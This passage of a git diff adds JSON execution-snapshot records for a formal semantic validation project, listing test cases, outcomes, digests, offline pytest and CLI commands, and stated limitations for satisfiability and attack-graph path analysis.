"configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1360-execution-v52", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "8960605145b3006bca64a27f26cd9bc662b4f932", + "source_state": { + "base_revision": "8960605145b3006bca64a27f26cd9bc662b4f932", + "checkout_state": "modified", + "implementation_digest": "6fa015f9b96c0d36598df0327a651dca08e927c2529e6e8a91c932e5e87b3834", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v53.json b/docs/research/formal-semantic-validation/execution-snapshot-v53.json new file mode 100644 index 000000000..61db7aea8 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v53.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1360-execution-v52", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v52.json", + "release_revision": "53.0.0", + "release_sha256": "40db954fd4ea0b88ef2d56bed824afc286181782ec88a97c42b0ace7c1b28585" + }, + "captured_at": "2026-09-27T06:49:00.051312+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1355-execution-v53", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", 